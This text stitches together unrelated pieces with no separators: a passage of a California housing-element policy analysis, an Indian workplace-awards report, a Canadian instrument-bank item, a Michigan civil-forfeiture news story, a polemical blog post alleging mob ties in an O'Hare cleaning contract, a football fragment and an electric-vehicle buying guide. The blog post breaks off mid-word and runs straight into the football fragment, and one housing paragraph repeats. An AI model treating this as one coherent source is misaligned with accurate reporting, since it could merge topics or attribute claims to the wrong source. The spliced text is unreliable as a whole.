Next, regional councils of governments (regional planning organizations governed by elected officials from the region’s cities and counties) allocate a share of their region’s projected housing need to each city and county. Cities and counties receive separate housing targets for very‑low, low, moderate, and above‑moderate income households. Each council of government develops its own methodology for allocating housing amongst its cities and counties. State law requires, however, that each region’s allocation methodology be consistent with their Sustainable Community state‑mandated long‑range regional strategy to reduce regional greenhouse gas emissions through transportation and land use planning. Cities and Counties Incorporate Their Allocations Into Their Housing Elements. Finally, cities and counties incorporate their share of the regional allocation into their housing element. Communities typically do so by demonstrating how they plan to accommodate their projected housing needs in each income category.
Some Communities Do Not Comply With Housing Element Requirements. State law requires HCD to review each community’s housing element for compliance with state requirements. In recent years, HCD has found that most (around 80 percent) housing elements comply with state laws. A minority of communities, however, have either adopted a noncompliant housing element or failed to submit their housing element to HCD for timely review. Communities without an approved housing element face limited ramifications. Noncompliant communities are ineligible for various housing‑related state grant funds, which represent a very small share of local government resources. Courts may also suspend a local government’s permitting authority until its housing element is approved, although this may have limited effect on communities less inclined to development.
Zoning Is the Primary Tool for Implementing the General Plan. Cities and counties enact zoning ordinances to turn the broad policy goals outlined in their general plans into property‑specific requirements. A community’s zoning ordinance typically defines each property’s allowable use and form. Use dictates the broad category of development that is permitted on the property—such as single‑family residential, multifamily residential, or commercial. Form dictates building height and bulk, the share of land covered by buildings, and the distance of buildings from neighboring properties and roads (known as setback). Zoning ordinances also often place additional restrictions on property owners—such as minimum parking requirements—to mitigate a property’s potential effects on surrounding properties.
Zoning Determines the Type of Housing Built. Rules about form effectively determine how many housing units can be built on a particular site (referred to as housing density). A site with one‑ or two‑story height limits and large setbacks typically can accommodate only single‑family homes. Conversely, a site with height limits over one hundred feet and limited setbacks can accommodate higher‑density housing such as multistory apartments. Rules such as minimum parking requirements also can shape housing densities. If a community requires abundant on‑site parking, a developer would have to dedicate more land to parking lots, reducing the number of housing units that can be built.
Zoning Key to Meeting Housing Needs. Zoning rules determine the size of a community’s housing stock by dictating how many sites housing can be built on and at what densities. Zoning rules, therefore, must allow for new housing on a sufficient number of sites and at sufficient densities if a city or county is to meet its community’s housing needs.
Housing element law asks cities and counties to ensure that their planning and zoning rules adequately accommodate future housing needs. This is an incredibly difficult task, made more difficult by residents’ resistance to building more housing. As a result, communities’ zoning rules often are out of sync with the types of projects developers desire to build and households desire to live in. This, in turn, often results in too little housing being built to meet demand.
Forecasting Housing Needs Is Hard. A community’s future housing needs are almost impossible to predict with precision. These needs depend on a multitude of factors, many of which are largely outside of the state’s and local communities’ control—such as demographics, employer location decisions, broader economic trends, and happenstance. Because of this, projections of future housing needs developed through the RHNA process are imperfect at best.
Beyond the inherent difficulty of forecasting, other factors can drive a wedge between RHNA projections and actual demand for housing. The most important of these factors is the reliance on projections of household growth as an indicator of demand for housing. These projections are based, in part, on extrapolations from past trends in population growth, migration, and household formation. Past demographics trends, however, fail to capture the full extent of demand for housing. As we discussed in California’s High Housing Costs: Causes and Consequences, California has a significant housing shortage—that is, too little housing is built to accommodate all those who wish to live here. This shortage means that households compete for limited housing, bidding up home prices and rents. Households unwilling or unable to pay these high costs are forced to live somewhere else. Households forced to live somewhere else do not show up in California’s past demographic trends and therefore are not reflected in RHNA calculations. They nonetheless contribute to the state’s heightened competition for housing and resulting high housing costs. Failing to account for this unmet demand can cause projections of housing needs to fall short of actual demand for housing.
Identifying Ideal Sites for Development Also Is Difficult. It is also difficult for communities to anticipate which particular sites will be profitable for developers to build on in the future. This is because developers’ decisions about which sites to build on and when are based on a multitude of considerations, many of which are not apparent to planners or rely on information available only to developers. These considerations also can change significantly over time. In addition, decisions of landowners can significantly influence which sites are developed. In some cases, planners and builders may agree that certain sites would be ideal for new housing but landowners may be unwilling to sell their land to home builders. As we discussed in Common Claims About Proposition 13, this may be exacerbated by California’s property tax system which can encourage landowners to hold onto vacant or underutilized properties longer than they otherwise would.
Community Resistance Complicates Already Difficult Task. The difficulty of crafting planning and zoning rules that accommodate future growth is often compounded by resistance from residents. Residents often push back against projections of future housing needs, question whether it is their community’s responsibility to accommodate such growth, and attempt to block necessary zoning changes. This resistance is understandable and perhaps inevitable. Many residents see new housing—and the changes it will bring to their community—as a threat to their well‑being. At the same time, many who would benefit from new housing in a community do not live there and therefore have little say in planning decisions. This imbalance results in many residents looking unfavorably upon new housing.
Outdated Plans. Reflective, in part, of their residents’ disfavor towards new housing, many communities seem to place a low priority on updating their planning and zoning standards to accommodate future housing needs. As shown in Figure 1, about half of cities and counties have not completed a comprehensive update of two major elements of their general plans (land use and circulation) in over a decade. About one‑fifth of cities and counties have gone longer than 20 years without an update.
Practical Limitations of HCD Oversight. Although HCD reviews each community’s housing element, resource constraints and lack of knowledge of a locality’s particularities limit what this review can achieve. Over the course of a few years, HCD staff are tasked with reviewing the housing elements of the state’s 58 counties and 482 cities. Many housing elements are lengthy and complex documents. Some housing site inventories contain thousands of properties—for example, the city of Los Angeles’ site inventory contains over 20,000 sites. To carry out this task on a statewide basis, HCD receives just under $1 million dollars annually to fund seven staff. In contrast, local planning departments—which are tasked with developing, implementing, and enforcing general plans and zoning and building codes—receive over $1 billion per year in total funding from local sources. In addition to having far greater resources, local planning departments also have more insight into their local communities. Faced with these realities, HCD’s reviews of housing elements often cannot extend beyond ensuring that communities have complied with the law’s basic procedural requirements. Perhaps most importantly, HCD lacks the capacity to thoroughly vet the thousands of potential housing sites identified in communities’ housing elements.
Recent RHNA Projections Appear Misaligned With Housing Demand. As we discussed in more detail in A Look at Recent Progress Toward Statewide Housing Goals, comparing RHNA goals to actual building in recent years suggests that RHNA goals did not fully capture demand for housing in many communities. This is best illustrated by looking at the San Francisco Bay Area. During the 2014 through 2016 period Bay Area communities (those in Alameda, Contra Costa, San Mateo, San Francisco, and Santa Clara) permitted roughly the amount of housing projected to be needed via the RHNA process. Nonetheless, there remains significant evidence of unmet demand for housing. Typical rents exceed $2000, more than double the national average. Available rental housing also is difficult to find. As of 2015, vacancy rates (the share of all rental housing available to new tenants) were around 2.5 percent, less than half the national average.
Fourth Cycle Housing Elements Often Failed to Anticipate Future Development. Communities’ plans for accommodating housing growth during the fourth planning cycle also appear to have often been out of sync with the home building that actually occurred. Our review of home building in cities for which we could obtain data suggests that the majority of larger housing developments (those with five or more homes) were constructed on sites that were not identified for housing in a jurisdiction’s housing element. Figure 2 shows our estimates of the share of all larger housing developments that were built on unplanned sites in select cities. (These numbers are rough estimates based on publicly available information. Data quality and timing issues complicate this analysis. Readers should focus on the general magnitude of the numbers and not the precise estimates.) As the figure shows, failure of housing elements to anticipate future development patterns seems to be ubiquitous among the cities surveyed.
Pattern Appears to Have Continued in Fifth Cycle. To date, this pattern appears to have continued into the fifth planning cycle. Roughly two‑thirds of larger housing developments permitted in 2015 through 2016 in the cities of Los Angeles, San Francisco, and San Jose appear to be on sites not identified in a housing element. Further, we could not identify any recently permitted developments in Sacramento that will be built on the city’s housing element sites. Among the minority of projects permitted on housing elements sites, many projects appear to have needed a change to zoning rules despite being on a planned site as shown by Figure 3. In San Francisco, the typical project was permitted for more than three times the number of housing units planned for in the housing element. Similarly, the typical project in Los Angeles was permitted for more than twice the number of units as planned.
Housing Element Shortfalls Can Limit Housing Production. Housing production lags when housing elements fail to anticipate the types of housing developers will be interested in building and households will be interested in living in. This is because many projects will have a need for changes to planning and zoning rules which often require a lengthy approval process, if they are approved at all.
Sites Overlooked in Housing Element Likely Need Zoning Changes to Accommodate Housing. When a proposed project is inconsistent with planning and zoning rules, a developer must ask the city or county to modify these rules. The housing element process is meant to forestall the need for these types of changes, as communities are supposed to make proactive zoning changes to accommodate home building on designated sites. If sites are overlooked, however, these zoning changes likely do not occur. Because of this, zoning rules for overlooked sites often can prohibit development—for example, the property’s allowable uses may not include housing or its allowable housing density may be too low for profitable development. Further, sites identified in a housing element may be planned for lower housing densities than would be profitable for developers. The data above suggests that these challenges are present for many projects.
Need for Zoning Changes Raises Costs, Discourages Home Building. A request for zoning changes can involve multiple administrative processes and public hearings and often takes several months or years to complete. One past survey of local building officials found that an average zoning change takes just under a year to complete in California’s high demand coastal jurisdictions. Further, some changes may not be approved at all or may be approved only if developers meet other conditions not outlined in planning or zoning rules. These delays and uncertainties increase costs for home builders and discourage builders from pursuing certain projects. A study of jurisdictions in the Bay Area found that each additional layer of review a typical project must complete is associated with a 4 percent increase in a jurisdiction’s home prices.
In the prior section, we discussed evidence that suggests the state’s primary tool to ensure that local governments adequately plan for new housing—the housing element process—falls short of its goal. How should the state respond? There unfortunately is not an easy answer to this question. Some options are available that might bring about limited improvement. Ultimately, however, major improvements will require a substantial shift in how communities and their residents think about and value new housing.
Modify RHNA Projections. The process of developing RHNA projections could be improved to better account for unmet housing demand and give communities a more realistic idea of their housing needs. One option could be to adjust the current demographic‑based projections to account for signs of unmet housing demand, such as high rents or low vacancy rates. Our modeling of California’s housing markets in California’s High Housing Costs: Causes and Consequences suggested that there is roughly a one‑to‑one relationship between long‑term housing supply growth and long‑term housing cost growth. Consistent with this, one option could be to adjust upward RHNA goals for communities with high rents by an amount proportionate to how much their rents exceed the statewide norm. For example, a community whose rents are 25 percent above the statewide average and whose current total RHNA goal is 1,000 could instead be assigned a goal of 1,250.
Increase Local Fiscal Incentives to Build Housing. As we discussed in California’s High Housing Costs: Causes and Consequences, cities and counties face fiscal incentives that are adverse to new housing. Few city and county revenue sources grow proportionately with increases in population. This can lead to fears that accommodating new housing—and therefore new people—will increase demands for public services faster than the funding available to pay for those services. This can, in turn, amplify communities’ anxieties about allowing new housing.
To counter this, the Legislature could look to allocate more funding to locals on the basis of population growth. To do so, the Legislature could consider three options, each of which presents challenges:
Modify Existing State Funding Allocations. The Legislature could modify existing state funding allocations to cities and counties so that they are distributed based on population growth. Currently, however, discretionary state allocations to cities and counties are minor, representing a very small portion of city and county funding.
The Legislature could modify existing state funding allocations to cities and counties so that they are distributed based on population growth. Currently, however, discretionary state allocations to cities and counties are minor, representing a very small portion of city and county funding. Allocate New Funding Streams Based on Population. The Legislature also could look to allocate any new funding streams to cities and counties based on population growth. This option likely would be limited by the need to pursue other policy objectives. For example, a new funding stream aimed at paying for maintenance of existing infrastructure may be less effective if allocated based on population growth, as maintenance needs and population growth may not be well aligned.
The Legislature also could look to allocate any new funding streams to cities and counties based on population growth. This option likely would be limited by the need to pursue other policy objectives. For example, a new funding stream aimed at paying for maintenance of existing infrastructure may be less effective if allocated based on population growth, as maintenance needs and population growth may not be well aligned. Alter Allocation of Local Taxes. The Legislature also could consider reallocating local government tax revenues—particularly property or sales taxes—so that these allocations better reflect population growth. Such changes would face several hurdles. The State Constitution significantly limits the Legislature’s ability to alter the allocation of local revenues. Also, past attempts to change the allocation of local property taxes or sales taxes have faced stiff resistance from local agencies concerned that such changes would create winners and losers and disrupt the financial health of some communities. One possible—albeit difficult—option could be to allocate some or all of future growth in local property and/or sales taxes within each county to the jurisdictions within the county based on their population growth. Making this change for property taxes would require a two‑thirds vote from in the Legislature, while such a change for sales taxes would require a voter‑approved change to the state constitution.
Streamline Local Approvals... Last May—in Considering Changes to Streamline Local Housing Approvals, our office recommended that the Legislature strongly consider a proposal from the Governor to streamline local approvals for certain housing. We also suggested going beyond the Governor’s proposal by expanding it to include a broader category of housing development. We continue to recommend the Legislature look for ways to streamline local approvals. Doing so would not directly improve planning and zoning outcomes. Nonetheless, it would avoid compounding the challenges for the many housing projects already facing lengthy reviews to obtain zoning changes.
... But Be Realistic About What Can Be Achieved. At the same time, it is important to keep in mind that the effectiveness of state actions to streamline approvals likely would be limited without major improvements in planning and zoning at the local level. Unless local planning and zoning rules provide adequate opportunities for housing development, few projects may be able to take advantage of a faster approvals process.
While more dramatic changes to preempt local decisions could be considered, many local communities have fervently opposed, obstructed, or even disregarded such changes in the past. Cities and counties have long been vested with broad authority over planning decisions. This assignment of authority to cities and counties reflects a deeply held desire of the state’s residents to control the environment of their communities and in many cases to maintain the status quo. Any major changes in how communities plan for housing will require their active participation and a shift in how local residents view new housing.
There is little indication, however, that such a shift is forthcoming. Convincing Californians that a large increase in home building—one that often would change the character of communities—could substantially better the lives of future residents and future generations necessitates difficult conversations led by elected officials and other community leaders interested in those goals. Unless Californians are convinced of the benefits of more home building—targeted at meeting housing demand at every income level—the ability of the state to alter local planning decisions is limited.Internet major, Google India and technology consulting and services company, Accenture India retained their positions as the most employee friendly companies for the second consecutive year in the Business Today 'Best Companies To Work For'survey. E-commerce giant, Amazon, displaced long time incumbent, Tata Consulting Services, to become the third most sought after company to work in India.
The employees survey was conducted by Business Today with help of its knowledge partner PeopleStrong, a leading HR solution company. The other companies which made it to the top 10 are Microsoft, Infosys Ltd, Facebook, ICICI Bank, IBM and HP.
The awards were given by Union Railways Minister, Suresh Prabhu, at a glittering function in Mumbai on Wednesday. In his address to the who's who of corporate India, Prabhu said, "Organisations succeed because of people and companies need to have the best talent."
Prabhu also talked about how his ministry has tried to transform Indian Railways which has the largest workforce in the country into a professionally managed organised by making each and every employee accountable to the growth of the organisation. "We have created 12 key result areas for employees to create accountability in the organisation. People must work with a purpose."
Raj Chengappa, Group Editorial Director (Publishing), India Today Group, in his address to the gathering said, "Our winners have one thing in common. They are a people first company."
Speaking on the occasion, Prosenjit Datta, Editor, Business Today, said, getting the talent is only the first step. "Keeping them constantly motivated, providing them with interesting, challenging and fulfilling work, offering them growth opportunities and helping them to achieve their full potential are the other things that organisations need to do if they want to get the best out of the talent they hire."
The Business Today-PeopleStrong survey also had 25 sectoral winners. While Abbot was the best company to work for in the pharmaceutical sector, Indian Hotels won the award in the hospitality sector, LG in manufacturing, Airtel in telecom and Tata Steel in the core sector. The best company to work for in the engineering and automotive sector was Mahindra & Mahindra, while retailer, Lifestyle International, won the award in the others and diversified category.
The overall winner of the Best Companies To Work For Awards, Google, also bagged the award in the software, hardware and information technology category, Amazon was the winner in the Internet sector, while IBM got the best company to work for award in the BPO, KPO and ITes category.
Speaking on the sidelines of the event about Google India's people strategy, K. Suryanarayana, Director, People Operations, Google India said, "We have always strived to create a workplace and culture that celebrates entrepreneurial spirit and provides an environment that allows everyone to contribute in solving real hard problems."Did you know the Canada Council for the Arts manages a collection of more than 20 string instruments totalling over $41 million in value? Known as the musical instrument bank, these violins, violas, cellos and bows date from the late 1600s to the early 1900s and bear the names Stradivari, Guarneri and Gagliano, among others. Every three years, musicians compete for the chance to borrow them.
Of the musicians currently in possession of these instruments, we recently invited 11 to our Montreal studios to give a demonstration.
Below, Byungchan Lee presents his 1768 Miller Januarius Gagliano violin, valued at $375,000. He plays Recitativo and Scherzo by Fritz Kreisler.
Lee is currently based in New York City, where he's working on a master's degree at Juilliard, studying with Masao Kawasaki. "It’s a busy and exciting time," he tells us via email. "My first concert ever in NYC will be with the Juilliard Orchestra on Oct. 20 in Alice Tully Hall. I’ll be associate concertmaster."
He'll be back home in Montreal in November to compete in the OSM Manulife Competition.
Explore more:
30 hot Canadian classical musicians under 30, 2016 edition
Violinist James Ehnes demonstrates how to play col legnoMichigan forfeiture laws allow assets to be turned over without a conviction
Police Seize Car, Drive 56,000 Miles, Sell It Without Charging Owners With a Crime Michigan forfeiture laws allow assets to be turned over without a conviction
A year after the Saginaw County Sheriff seized a classic muscle car from a Shiawassee County couple, it sold the car — with another 56,000 miles that had been logged in the interim. Last month, the couple filed a federal lawsuit over the car and other items that had been seized and then sold by the department. The department's actions grew out of a 2008 investigation for possible drug crimes, but the couple was never convicted or even charged with a crime.
Gerald and Royetta Ostipow filed the lawsuit on Aug. 24 with the U.S. District Court in Detroit against Saginaw County Sheriff William L. Federspiel, the department and a number of unnamed sheriff deputies. The lawsuit alleges that Federspiel and members of his department seized, then sold, hundreds of thousands of dollars in property belonging to the couple before the final determination of forfeitability.
In April 2008, the department received search warrants to search a farmhouse in Shiawassee County owned by the Ostipows, who lived a half-mile down the street in their longtime residence.
The search warrants were issued by Saginaw County judges, said Outside Legal Counsel, which is representing the Ostipows. But it’s unclear why the Saginaw County officers were in a neighboring county’s jurisdiction and didn’t get search warrants from Shiawassee County judges.
The farmhouse, which was being renovated by Gerald Ostipow, was occupied by his adult son, Steven, and the property’s outbuildings were used for storage.
When the sheriff’s deputies searched the farmhouse they found marijuana plants and seeds grown by Steven Ostipow, but his parents have denied knowledge of his illicit activities, their lawyers said.
That’s when the Ostipow’s property stored in the Shiawassee farmhouse and outbuildings were seized by the Saginaw County officers, despite Gerald and Royetta not being charged with any drug-related crimes.
The deputies seized dozens of animal mounts, tools, deer blinds and farm equipment from the farmhouse property. They also took a 1965 Chevy Nova SS that was being renovated and stored on a trailer.
Outside Legal Counsel claims the seized property “lacked any realistic connection to the pot plants and seeds of Steven's grow.”
Later that day, Saginaw deputies obtained another search warrant — again from a Saginaw judge — to search the Ostipow’s main residence in Shiawassee County, down the street from the farmhouse. The couple's law firm says no drugs were found at the property, yet officers seized cash from Gerald Ostipow’s wallet, plus other items.
After the initial seizures, Saginaw deputies “would then routinely appear and present themselves, in plain clothes and in their personal vehicles while off duty, at the Residence and Farmhouse to continue to seize additional personal property,” the federal complaint alleges.
The Michigan Court of Appeals later found that Royetta Ostipow’s portion of property seized from the farmhouse — which included the classic car — should be repaid. A later trial court decision ruled “most of the personal property seized was improperly taken and was ordered non-forfeitable.”
But it was later discovered that Sheriff Federspiel and the department sold off most of the Ostipow’s seized property before there was a ruling on the forfeitability of the items held by the county.
Documents provided by Outside Legal Counsel show the department seized the Ostipow’s 1965 Chevy Nova SS on April 24, 2008, when the vehicle’s mileage was 73,865. Federspiel, who signed the vehicle title transfer form, sold the partially restored muscle car over a year later on June 4, 2009, for $1,500.
The vehicle’s title certificate filled out by Federspiel around the time it was sold says the mileage was 130,000 — 56,000 miles more than when the department seized the car.
“They went ahead and spent the proceeds,” the Ostipow’s lawyer, Philip Ellison, said. “Their intent wasn’t to protect my clients’ rights, it was a pure money grab.”
Federspiel and his department did not return requests for comment.
Federspiel competed in and won the Democratic Party primary in August, campaigning on forfeiting drug dealers’ property and claiming it saved taxpayers money. (He will face no Republican opposition in the November general election.) For two years, Federspiel drove a black Mustang GT as his department vehicle after the car was forfeited, MLive reported. In 2013, Federspiel sold the Mustang, which read “Taken From A Local Drug Dealer” on the sides, on eBay for $14,800.
Ellison said the biggest obstacle in the Ostipow’s case has been the department's lack of documentation of the property it seized.
Lee McGrath, the legislative counsel for the Institute for Justice, said this case is an example of policing for profit.
“This case illustrates what happens when police and prosecutors benefit financially from confiscatory policies,” he said.
McGrath praised reforms the Michigan Legislature made to forfeiture laws last year but noted lawmakers should continue to improve the state’s laws.
“Those changes will improve reporting, but it’s essential the legislature continues,” he said. “Legislators in Lansing and city council members must take back their control of funding and setting priorities. It’s wrong when sheriffs and police officers control both the sword and the purse, and this case illustrates the bad incentives of policing for profit.”
A 2015 study by the Institute for Justice gave Michigan a grade of D- for its civil asset forfeiture laws, noting as much as 100 percent of forfeited property can go into law enforcement coffers even without a conviction.
“Despite modest reforms approved in October 2015 that raised the standard of proof required to forfeit property, Michigan’s laws still earn a D-, largely because the state’s large profit incentive remains intact,” according to the study titled “Policing for Profit.”
Since 2001, law enforcement in Michigan has forfeited at least $270 million in assets related to drug crimes. It is not known how much has been taken in total because there was no requirement to report the information.
Last year Gov. Rick Snyder signed a package of seven bills reforming civil asset forfeiture laws. These laws required law enforcement to disclose civil asset forfeitures and better document seizures. The laws also increased the burden of proof for civil asset forfeitures from preponderance of evidence to clear and convincing evidence.
Rep. Peter Lucido, R-Shelby Township, said he doesn’t think anybody should profit from criminal activity, and until it’s been proven that criminal activity occurred, no property should be forfeited. “That’s just simple due process,” he said.
“There are better regulations that we have now put through on civil asset forfeiture reform as it relates to accounting for the property seized,” he said.
Lucido sponsored House Bill 4505, one of the bills signed into law last year. That law moved the burden of proof. He also sponsored House Bill 4629 in May 2015, which would repeal bond requirements in contesting civil asset forfeitures. The bill has passed the House and a Senate committee and is awaiting a vote in the full Senate.
“You want the playing field to be fair, and the only way you’re going to make it fair is to stop taking the people’s property,” Lucido said. “There is no logic and reason that people should be taking people’s property — nothing — until after there’s been a conviction or there’s been a lawsuit filed.”
“There’s too much gamesmanship with the way they’re doing it now,” added Lucido, who’s also a criminal defense attorney.
“When police have a pecuniary interest in the property rights of others there will be overreaching on behalf of the police,” he said.
In 10 other states, law enforcement is not able to forfeit (take ownership) of someone’s property until that person has been convicted of a crime. Two states, New Mexico and Nebraska, have completely eliminated civil forfeiture. In those states, property can only be taken and turned over to the state after a conviction in criminal court and a decision by that court that assets were directly gained from illegal activity.
Correction: This story originally reported the mileage at 54,000 extra miles. The correct mileage was 56,000.
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Your gift to Capitol Confidential supports investigative reporting in the public interest that includes a free-market point of view. Please consider a donation today to keep citizens informed about the challenges facing our state and nation.In recent times the Outfit has gone tres moderne, investing its capital accumulated through bootlegging, drugs, prostitution,gambling, union corruption and extortion in what are quaintly referred to as "legitimate businesses”.
These businesses include United Maintenance, which just got a juicy contract to sweep, mop, wipe down and dust O'Hare Airport. A unionized contractor named Scrub was ousted in favor of the non-union City Hall connected United Maintenance who pays less than the unionized Scrub did.
As reported by the Chicago Sun-Times, Paul Fosco is an executive vice-president of United Service Companies, parent to United Maintenance. Paul Fosco want to prison for 10 years on racketeering charges stemming from Mob corruption in the Laborer’s Union (now mostly clean after a long battle). Paul Fosco had been on trial with mob boss Tony “Big Tuna” Accardo, but the wily “Big Tuna” escaped the federal net and swam free. Accardo’s career began in a lowly Chicago street gang, but received a major promotion when Al Capone admired his skill at beating two rival mobsters to death with a baseball bat.
As for Paul Fosco, he is part of the celebrated Fosco crime family which included Angelo Fosco, a former president of the Laborer’s International Union (LIUNA) and a close associate of Chicago mobsters Paul “The Waiter” Ricca and Joey Aiuppa. The Fosco’s ran the union for years starting with Peter Fosco Sr. who assumed the presidency of LIUNA in 1968 after decades in Chicago. After the death of Angelo Fosco in 1993, reformers and criminal indictments have cleaned up the union.
The owner of United Service Companies is former cop Richard Simon. According to the Sun-Times, “Simon had partnered in yet another firm with William Daddano Jr., who was accused of organized-crime ties by Attorney General Lisa Madigan and the Chicago Crime Commission.”
So is City Hall married to the Mob? Not exactly, it looks more like a back room steamy affair. When asked about O’Hare and the Mob, Mayor Rahm Emanuel changed the subject, “Look, it was competitively bid. We will have a vigorous enforcement and make sure everybody lives by and appropriately stands by the law.”
Rahm has declared an all-out War on Wages through privatization, vendor favoritism and unionbusting, so his flirtation with the the Outfit is just part of a larger strategy. When it comes to screwing over the working class Rahm likes to have many partners among his sweetheart deals.
One of those unionbusters linked to the O’Hare deal is none other than charter school boss Juan Rangel. Rangel is a City Hall favorite who was co-chair of Rahm’s campaign committee and a receiver of considerable City Hall largesse doled out to UNO (United Neighborhood Organization). UNO used to be a scrappy neighborhood advocacy group, but is now a major ally of powerful Chicago corporations.
UNO owns a chain of charter schools in mostly Latino neighborhoods. A vocal opponent of the Chicago Teachers Union and neighborhood schools, Rangel has expanded UNO into janitorial services and had been contracted to United Maintenance to provide O’Hare janitors. Sub-contracting is the latest capitalist fad, allowing larger corporations and local governments deniability when workers are abused. It’s also handy for unionbusting.
Rangel may be hoping to eventually bust the Chicago Teachers Union with relentless charter expansion, but he was willing to settle for a unionbusting deal with a Mob-aligned company in the interim. Now both Rangel and United Maintenance are backing away from what had been a $5 million arrangement. Rangel apparently has a sense of political self-preservation. The Mob connection would play poorly in Chicago working class neighborhoods where gangs are a major issue.
In the old days when the economy was booming, the Democratic machine was more of a blue collar operation and normally had close relationships with the Chicago labor movement. Mayor Richard J. Daley was famous for stepping in and mediating labor contracts, often to the short-term benefit of union members. The Mob too was a major influence among some Chicago unions. But those days of City Hall generosity and Mob so-called “protection” of labor are long gone.
Now Chicago workers are defending themselves through their unions, community organizations and allied groups. An example is SEIU Local 1 which is spearheading an effort to save jobs and a living wage at O’Hare for the janitors who keep O'Hare looking decent for visitors. The union is also asking Illinois Attorney-General Lisa Madigan for a formal investigation into the Mob connections at O'Hare.
O'Hare janitors stand up for their rights
The Democratic machine is now largely made up of LaSalle Street financial institutions, major real estate interests and just for old times sake, the Chicago Outfit. But it’s important to remember that the Outfit is at best a medium-sized business in this new Chicago machine. The O’Hare-Mob connection has its titillating old-school gangster aspect, but the Outfit role is only one part of a larger story.
This is an era of massive privatization and unionbusting, when global mega-banks, some with offices right down the street from City Hall, can get away with criminal acts far more destructive to society than anything a Capone or a small time crook like Paul F |
can’t do, Mourinho is deploying him in ways set to maximize what he still does remarkably well. Torres remains excellent at beating defensive lines and dragging center backs out of position. He’s now surrounded with players working in a system to maximize that skill, and as a result both he and Chelsea are thriving. There’s no reason not to expect that to continue. The Torres of Liverpool is never coming back, but that doesn’t mean this version can’t be every bit as lethally efficient — it just won’t make the highlight reels as often.An electric vehicle (EV) runs completely on electric power, which generally makes it less expensive to run than a similar-size gasoline vehicle, and you can charge it at home overnight instead of having to stop at gas stations. EVs are simpler and less expensive to maintain, and they produce no tailpipe pollution—they don’t even have a tailpipe—so they curtail the amount of harmful chemicals that cars spill into the environment. EVs generally provide zippy acceleration and pleasantly smooth, silent operation. And buyers can take advantage of a $7,500 government tax credit for purchasing an electric vehicle.
On the downside, EVs cost more money up front. Many (although not our picks) are limited to fewer than 100 miles of range on a full charge. Recharging takes much longer than filling up with gas—hours, not minutes. And, overall, you’ll find far fewer public EV chargers than you will gas stations, so you may suffer from “range anxiety” when the battery’s charge gets low and you’re not near home.
An electric vehicle is generally less expensive to run than a gasoline vehicle.
An EV is powered by an electric motor that draws power from an onboard battery and is much more efficient than a similar-size gas-powered vehicle, using only about one-third the energy (even counting the energy that power plants use to generate the electricity). Those savings go a long way: Even at today’s low gas prices, driving 29 miles (the US daily average) in the similarly sized Honda Fit, our top pick among subcompact hatchbacks, would cost you about $2.20 in fuel; our top EV pick, the Chevrolet Bolt will cost about $1.05 in electricity. You’ll save even more if gas prices rise.
Unlike a hybrid and plug-in hybrid, an EV doesn’t have a gasoline engine to fall back on if the battery’s charge gets low. But that also makes it less complicated, so it needs far less maintenance than a gas car: no oil or coolant changes; no belt, hose, air-filter, spark-plug, or timing-belt changes; no fuel-injector cleanings; and far fewer brake jobs because an EV’s regenerative braking system reduces the workload on the regular hydraulic brakes. As a result, maintaining an electric car costs significantly less than maintaining a conventional car.
Here are a few other things to know if you’re considering an electric vehicle.
Driving range. This is the stickler for many buyers. Many older EVs, and even today’s shortest-range models, get about 100 miles or less, so range anxiety—when you start feeling uncertain about making it home or to a public charger before your car’s battery dies and leaves you stranded along the road—can be a real issue.
That said, according to the Bureau of Transportation Statistics, the average American drives only 29 miles a day, which falls well within the range of all of today’s electric cars. And more than 90 percent of American drivers travel less each day than a third of the distance even minimal-range EVs can go. “You come to learn how far your car can go on a single charge,” says Brad Berman, a leading expert on EVs who has owned and driven them for about six years. “Range anxiety is only a problem if you consistently want or need to drive longer than the range of your electric car. If you study your driving patterns, and discover that something like 98 percent of your driving is less than 80 miles per day—as I did when I drove a [Nissan] Leaf for three years—then I didn’t try to drive longer than that in a day with that car.”
Range anxiety—feeling uncertain about making it to a charger—can be a real issue.
Cold weather also plays a significant role in driving range, both because batteries lose efficiency in freezing temperatures and the car’s heater is a big draw on the batteries. Driving an electric car in cold weather can reduce its range by up to about 40 percent.
Fortunately, newer EVs have larger, more efficient batteries that give them extra driving range. All of our picks get about 125 miles or more on a full charge in normal conditions, which provides extra “elbow room” for side trips, unexpected driving, and the effects of cold-weather driving. There’s less chance these days that you’ll have to go without heat on a freezing day to avoid running out of juice, as sometimes happened to us when driving early EVs.
Newer EVs have larger batteries that give them extra driving range.
In fact, there are now four basic subsegments within the electric-car market, based on driving range and price: a few leftover short-range models that can’t make it 100 miles between charges; a crop of new or upgraded EVs with ranges between 100 and 125 miles (including two of our picks); two relatively new and affordable models that can go more than 200 miles (including our top pick); and Tesla’s expensive, high-end luxury models, the Model S sedan and Model X crossover, which can go well over 200, or even 300, miles, but cost between $70,000 and $150,000 depending on the configuration.
Tax credits and incentives. EV buyers can benefit from a variety of incentives that can knock thousands of dollars off the retail price of a new electric vehicle. The federal government, for example, has been offering a $7,500 tax credit for all-electric cars (and some plug-in hybrids, such as the Chevrolet Volt). This can make EVs more affordable, but keep in mind that you can’t earn a bigger credit than you owe in taxes; if your total annual tax bill is only $5,000, that’s the most you can save. Be sure to confirm the credit amount with a tax professional before buying or leasing. Moreover, because each automaker gets only 200,000 credits, cars made by Tesla and GM won’t be eligible much longer, as their total sales will soon exceed that number. So if you’re shopping for a Bolt or a Tesla, act quickly.
The federal government offers a $7,500 tax credit for all-electric cars.
In addition to Uncle Sam’s help, many states and cities offer their own incentives, including cash rebates, sales-tax breaks, and other discounts. And some companies, such as Sony, have been known to offer employees as much as $5,000 for buying an EV. You’ll also encounter nonmonetary incentives. Beyond monetary incentives, some states, such as Arizona, California, and Georgia, allow drivers of certain plug-in cars to use carpool lanes even when driving solo. You might also discover that your insurance company offers a discounted rate for EVs, and that your local community offers preferred or free parking spaces.
EVs produce far fewer emissions per mile driven than most gas cars.
The emissions debate. Although EVs produce zero tailpipe pollution, critics point out that pollution is just transferred to the power plant that produces the electricity. Even when this is factored in, though, EVs produce far fewer emissions per mile driven overall than most gas cars. And if you worry that driving on electricity merely trades relatively clean gasoline for dirtier coal burned at plants, note that coal produces a minority of US electricity today, and that percentage is shrinking every year. It’s true that driving a very efficient hybrid in the relatively small percentage of the country that’s still dependent mainly on coal may be cleaner than driving an EV that’s getting its energy from a coal-fired power plant. But the West Coast and Northeastern states—where automakers sell the most EVs—use little to no coal. And even where coal plants are in use, economic factors are rapidly driving them to be replaced with cleaner natural gas.
